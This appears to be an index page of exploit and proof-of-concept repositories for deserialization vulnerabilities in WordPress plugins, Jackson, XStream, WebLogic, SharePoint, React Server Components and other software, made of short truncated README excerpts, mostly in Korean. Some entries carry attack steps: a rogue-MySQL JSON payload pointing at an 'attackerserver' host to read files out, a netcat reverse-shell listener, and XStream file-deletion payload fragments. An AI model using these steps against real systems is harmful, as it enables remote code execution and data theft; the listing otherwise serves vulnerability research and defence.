CVE-2025-22777

CVE-2025-22777 GiveWP – 기부 플러그인 및 모금 플랫폼 = 3.19.3 - 인증되지 않은 PHP 객체 주입 설명 WordPress용 GiveWP – 기부 플러그인 및 모금 플랫폼은 3.19.3을 포함한 모든 버전에서 기부 폼의 'company' 매개변수를 통해 신뢰할 수 없는 입력의 역직렬화로 인해 PHP 객체 주입에 취약합니다. 이로 인해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. POP 체인이 추가로 존재하면 공격자가 서버에서 임의의 파일을 삭제하여 원격 코드 실행이 가능해집니다. 이는...

CVE-2026-45034

🧨 PHPSpreadsheet Phar 역직렬화 익스플로잇 prohibitWrappers 우회 + phpoffice/phpspreadsheet 원격 코드 실행 RCE 이 저장소는 널리 사용되는 PHP 라이브러리 PHPSpreadsheet 의 치명적인 취약점에 대한 개념 증명PoC 익스플로잇 을 제공합니다. 공격은 phar:// 래퍼 를 악용하여 객체 역직렬화를 유발하고, 보안 보호 기능을 우회하고 취약한 버전에서 완전한 원격 코드 실행 까지 이어질 수 있습니다. ⚡ 취약점 개요 버전| 상태| 설명 ---|---|--- 5.7....

CVE-2025-27520-PoC

CVE-2025-27520 — 안전한 교육용 시뮬레이션 / PoC 데모 스탠드 ⚠️ 중요: 이는 CVE-2025-27520 취약점의 안전한 교육용 시뮬레이션입니다. 프로젝트에는 모의 서비스Flask와 안전한 PoC 스캐너Python가 포함되어 있습니다. 시뮬레이션은 임의 명령을 실행하는 대신 테스트 마커를 수신하면 data/에 증거 파일 을 생성합니다. 📋 저장소 구성 CVE-2025-27520-final/ ├── 📄 READMEru.md Этот файл документации ├── 🐳 Dockerfile Образ...

CVE-2020-26259

설명 XStream은 실행 중인 프로세스가 충분한 권한을 가지고 있을 때 역직렬화 과정에서 로컬 호스트의 임의 파일 삭제 취약점에 영향을 받습니다. 영향 Xstream \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " text/plain\n" + " \n" + " C:\Al1ex.txt\n" + " \n" + " \n" + " \n" + " \n" + " 0\n" + " \n" + " /jdk.n...

CVE-2019-12086

문서 설명 CVE-2019-12086 jackson 역직렬화 취약점 이용 1. 악성 MySQL 서버 시작: python roguemysqlserver.py 2. 동일한 디렉토리에서 mysql.log 확인: tail -f mysql.log 3. 취약점이 있는 애플리케이션에 다음 json 전송: "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" Jackson이 악성 json 문자열을 역직렬화하면 악성 MySQL 서버에 연결되고, 읽힌 파일 내용이 ...

Oracle-WLS-Weblogic-RCE

Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic RCE 테스트 스크립트 CVE-2019-2725는 Oracle WebLogic Server의 역직렬화deserialization 취약점입니다. 이 원격 코드 실행 취약점은 인증 없이 원격으로 악용될 수 있습니다. 이 스크립트는 페이지 존재 여부를 확인하며 Python3 기반입니다. 업데이트: 20.11.07. 사용법 python Oracle WLSWeblogic RCECVE-2019-2725.py user defined por...

rpc-rce.py

rpc.py RCE 익스플로잇 CVE-2022-35411 이는 CVE-2022-35411 을 대상으로 하는 업데이트되고 개선된 익스플로잇으로, 취약한 버전의 rpc.py 원본 익스플로잇 작성자 : Elias Hohl 향상된 버전 : x7331 - 사용성, 이식성 및 자동화 개선 취약점 요약 취약점은 rpc.py가 Python의 pickle 모듈을 안전하지 않게 사용하는 데 있으며, 조작된 페이로드가 인증 없이 임의 명령을 실행할 수 있도록 합니다. CVE ID : CVE-2022-35411 영향을 받는 버전 : rpc.py...

CVE-2025-53770

CVE-2025-53770 SharePoint 설명 신뢰할 수 없는 데이터의 역직렬화로 인해 온프레미스 Microsoft SharePoint Server에서 공격자가 원격으로 코드를 실행하고 시스템을 손상시킬 수 있습니다. Microsoft는 활발한 공격을 인지하고 있으며 포괄적인 업데이트를 준비 중입니다. CVE 문서의 완화 조치가 적용되어 있는지 확인하십시오. 영향: 인증되지 않은 공격자가 원격 코드 실행을 수행하여 시스템 전체를 손상시킬 수 있습니다. 심각도: 치명적 Microsoft SharePoint 온프레미스...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 설명 Mirth Connect 원격 코드 실행RCE을 위한 PoC Mirth Connect 4.4.0 이하 버전이 XStream 역직렬화를 통해 영향을 받습니다. 요구 사항 g++ C++20 설치 git clone https://github.com/Pegasus0xx/CVE-2023-43208.git && \ cd CVE-2023-43208 && \ make 사용법 ./exploit 예제 리스너 시작 nc -lvnp 4444 익스플로잇 실행 ./exploit...

CVE-2025-55182-React2Shell-CVSS-10.0-

영향을 받는 소프트웨어: React Server Components 버전 19.0.0, 19.1.0, 19.1.1, 19.2.0 취약점 유형: 안전하지 않은 역직렬화를 통한 사전 인증 원격 코드 실행 설명: React Server Flight 프로토콜의 결함으로 인해 인증되지 않은 공격자가 특수하게 조작된 직렬화된 페이로드를 전송하여 프로토타입 오염을 악용하고, 서버에서 임의 코드 실행을 유발할 수 있습니다. 또한 참고용으로 exploit.py Python PoC와 동료 플레이어를 위한 HTB 친화적인 버전을 포함했습니다...

CVE-2025-55182

CVE-2025-55182 스캐너 CVE-2025-55182 에 대한 개념 증명 스캐너로, React Server ComponentsRSC의 중요한 인증되지 않은 원격 코드 실행RCE 취약점입니다. 개요 2025년 12월 3일, React Server Components를 사용하는 React 19.x 및 Next.js 애플리케이션에 영향을 미치는 중요한 취약점이 공개되었습니다. 이 결함은 RSC "Flight" 프로토콜의 역직렬화 로직에 존재하며, 공격자가 조작된 HTTP 요청을 통해 서버에서 임의의 코드를 실행할 수 있게...

react2shell

React2Shell React Server Components 및 Next.js Server Actions에서 두 가지 치명적인 RCE 취약점을 탐지하기 위한 CLI 도구 및 Nuclei 템플릿입니다. 스캐너는 공개된 react2shell 취약점을 기반으로 재작성되었습니다. 취약점 개요 CVE-2025-55182 – React Server Components 역직렬화 RCE React Flight 역직렬화 프로세스의 결함으로 인해 사용자가 제어하는 참조가 서버 함수로 해석될 수 있으며, 이로 인해 원격 코드 실행이 발생할 수...

CVE-2025-61882-Oracle-BI-Publisher-RCE

영향받는 소프트웨어: Oracle BI Publisher 버전 12.2.1.4.0, 12.2.1.3.0. 취약점 유형: BI Publisher 통합 구성 요소의 안전하지 않은 역직렬화를 통한 원격 코드 실행. 설명: BI Publisher 통합 구성 요소는 검증 없이 신뢰할 수 없는 데이터를 역직렬화하여, 인증되지 않은 공격자가 기본 서버에서 임의 코드를 실행할 수 있게 합니다...

CVE-2026-84645

CVE-2026-84645 — Jenkins PersistenceRoot 逆シリアライゼーション RCE SECURITY-3972 2026-09-02 に修正された Jenkins の逆シリアライゼーション脆弱性の PoC advisory。任意の単一ジョブに対して Item/Configure 権限を持つ低権限アカウントが、これを Jenkins OS ユーザーとしての任意コード実行に昇格させることができます。 | ---|--- 影響を受けるバージョン| Jenkins weekly ≤ 2.579、LTS ≤ 2.568.2 修正バージョン| weekly...

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 Expl0it 인가된 로컬 테스트 환경에서만 React2Shell 취약점CVE-2025-55182 / CVE-2025-66478을 시연하기 위한 개념 증명 도구입니다. ⚠️ 심각한 경고: 활발한 악용 법적 사용만 허용 : 소유하거나 명시적인 테스트 허가를 받은 시스템에만 사용하십시오. 즉시 패치 필요 : 취약한 경우 즉시 업데이트해야 합니다. 패치가 유일한 확실한 완화 방법입니다. 보증 없음 : 이 도구는 교육 및 인가된 보안 평가 목적으로만 사용됩니다. 📄 취약점...

CVE-2025-61505

CVE-2025-61505 – e107 CMS 2.x의 PHP 객체 주입 보고일: 2025년 9월 18일 CVE 할당일: 2025년 10월 9일 게시일: 2026년 2월 2일 CVE ID: CVE-2025-61505 발견자: Anas Abderrahman Benbarek 요약 e107 CMS 버전 2.3.3의 설치 스크립트install.php에서 PHP 객체 주입 취약점CWE-502: 신뢰할 수 없는 데이터의 역직렬화이 발견되었습니다. 이 취약점으로 인해 인증되지 않은 원격 공격자가 악의적인 직렬화 데이터를 조작하여 e107...

CVE-2018-15133-PoC

CVE-2018-15133-PoC このPythonスクリプトは、安全でないデシリアライゼーションを利用した脆弱なLaravelアプリケーション向けのリモートコード実行（RCE）エクスプロイトを実装しています。これはCVE-2018-15133の脆弱性に基づいています。...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC 역직렬화 RCE 스캐너 이 도구는 대상이 CVE‑2025‑55182 에 취약한지 확인합니다. 이 버그는 Next.js 내에서 RSCReact Server Components 모델 페이로드를 안전하지 않게 처리하여 발생하는 원격 코드 실행RCE 버그입니다. 취약점 체인은 프로토타입 오염Prototype Pollution → 역직렬화 남용Deserialization Abuse → 서버 측 JavaScript 실행Server‑Side JavaScript Execution 입니다. ...

Exploit for Deserialization of Untrusted Data in Facebook React

CVE-2025-55182 — React Server Components RCE A Proof-of-Conce...

CVE-2025-53770

CVE-2025-53770 연구 랩 이 저장소는 통제된 랩 환경에서 SharePoint 스타일 역직렬화 및 도구 창ToolPane 처리 문제를 검증하기 위한 개념 증명PoC 연구 프로젝트입니다. Python 드라이버, 모의 취약 애플리케이션, 격리된 테스트를 위한 컨테이너 자산이 포함되어 있습니다. !WARNING 이 프로젝트는 반드시 귀하가 소유했거나 명시적으로 테스트 권한을 부여받은 시스템, 컨테이너 또는 네트워크에서만 사용해야 합니다. 서면 허가 없이 공용 인프라, 타사 서비스, 프로덕션 환경 또는 기타 대상을 대상으로 ...